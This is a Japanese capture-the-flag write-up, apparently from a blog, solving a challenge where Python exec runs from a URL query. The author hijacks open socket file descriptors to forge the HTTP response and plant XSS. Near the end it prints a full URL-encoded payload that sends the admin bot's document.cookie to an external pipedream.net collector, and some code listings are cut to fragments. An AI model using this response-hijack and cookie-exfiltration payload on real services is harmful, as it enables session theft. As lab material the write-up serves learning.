Challengeにpotetisenseiと出た際のテクニックをXSSに落とし込みました。pickleでRCEができるシナリオでサーバ内部のバイナリを取得する必要があったのですが、アウトバウンド通信や応答時間でのオラクルができない(共に運営インフラの問題)状況でした。そこで開いているfdに取得したいデータを流し込んでHTTP応答として返すことで、入手する手法を用いていました。現実ではXSS2RCEは最高ですが、RCE2XSSはうれしくないです。解法URL、AdminBot、ソースコードが渡される。アクセスするとPythonのexecでコードを実行できる謎のサービスだ。実行結果は返してくれない。URLはhttp://118.27.109.12:31416/?code=print%281%29であり、コードをクエリに渡せる。AdminBotがあることからもXSS問題だろう。ソースを見るとメインのアプリケーションは以下の通りであった。port=31416)クローラーも見ると以下のように、Playwrightでcookieにフラグを付けてユーザの入力URLにアクセスしている。content):の制限がある。port=31417)もう一度メインのアプリケーションの応答を確認する。</p>~~~Serverレスポンスヘッダーはnginx/1.25.3であるのでTsukushi/2.94ではない。🤪もレスポンスボディに含まれている。これらがなければrequest.cookies.getで取得したフラグを外部に送信するだけで済む(/bin/*が無いが)。以上のことよりexecを行うことでFlaskの応答結果のレスポンスヘッダーとレスポンスボディを書き換えてXSSする問題だとわかる。ここでexecがHTTP通信中に行われるため、Flask(かWerkzeug)がfdを保持しており、そこにデータを流し込むことでうまくレスポンスを書き換えることができそうなことに気づく。execで自由度が高いのでPythonのメモリ上に乗っているテンプレートを書き換えることもできるかもしれない。後者はアプリケーションを破壊しそうなので、前者を試す。Flask(かWerkzeug)がfdに書き込んでいないかソースコードを調査する。Codeこれらを見るとsocket.fromfdの箇所が使えそうなことがわかる。ここを見るとすでにあるソケット参照のfdからソケットオブジェクトを作ってくれるらしいことがわかる。これを用いてHTTPリクエストを流し込んでみる。0Satoki無事に応答を書き換えることができた。あとは適切なレスポンスヘッダーを設定し、XSSしてフラグを外部サーバに送信してやればよい。以下のpayload.pyでXSSペイロードの作成を行う。pass""")実行する。passこれをURLクエリに設定すると以下になる。http://118.27.109.12:31416/?code=%0D%0Aimport+socket%0D%0Afor+fd+in+range%28100%29%3A%0D%0A++++try%3A%0D%0A++++++++sock+%3D+socket.fromfd%28fd%2C+socket.AF_INET%2C+socket.SOCK_STREAM%29%0D%0A++++++++sock.sendall%28b%27%27%27HTTP%2F1.1+200+OK%0D%0AServer%3A+Tsukushi%2F2.94%0D%0AContent-Length%3A+178%0D%0AContent-Type%3A+text%2Fhtml%0D%0AConnection%3A+Closed%0D%0A%0D%0A%0D%0A%3C%21DOCTYPE+html%3E%0D%0A%3Chtml+lang%3D%22en%22%3E%0D%0A++++%3Chead%3E%3C%2Fhead%3E%0D%0A++++%3Cbody%3E%0D%0A++++%3Cscript%3Elocation.href%3D%27https%3A%2F%2Fen9i5fcxybxwa.x.pipedream.net%2F%3Fs%3D%27%2Bdocument.cookie%3C%2Fscript%3E%0D%0A++++%3C%2Fbody%3E%0D%0A%3C%2Fhtml%3E%0D%0A%27%27%27%29%0D%0A++++except+Exception+as+e%3A%0D%0A++++++++pass%0D%0Acrawlerに投げると以下のようなリクエストが届く。